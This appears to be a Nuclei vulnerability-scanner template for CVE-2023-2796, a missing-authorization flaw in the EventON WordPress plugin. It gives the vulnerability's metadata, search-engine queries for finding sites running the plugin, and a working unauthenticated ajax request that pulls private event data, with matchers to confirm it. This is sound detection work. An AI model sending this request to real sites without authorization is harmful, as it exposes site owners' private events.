EventON <= 2.1 - Missing Authorization

id: CVE-2023-2796

info:
  name: EventON <= 2.1 - Missing Authorization
  author: randomrobbie
  severity: medium
  description: |
    The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
  impact: |
    Unauthenticated users can perform privileged actions, potentially leading to unauthorized access or modification of events.
  remediation: Fixed in version 2.1.2
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd
    - https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2796
    - http://packetstormsecurity.com/files/173984/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://github.com/nullfuzz-pentest/shodan-dorks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-2796
    cwe-id: CWE-862
    epss-score: 0.37468
    epss-percentile: 0.98344
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - 'vuln:CVE-2023-2796'
      - http.html:/wp-content/plugins/eventon-lite/
      - http.html:/wp-content/plugins/eventon/
    fofa-query:
      - "wp-content/plugins/eventon/"
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - /wp-content/plugins/eventon/
      - /wp-content/plugins/eventon-lite/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve2023,cve,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon,bypass,myeventon,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and

      - type: word
        part: header
        words:
          - "text/Calendar"

      - type: status
        status:
          - 200
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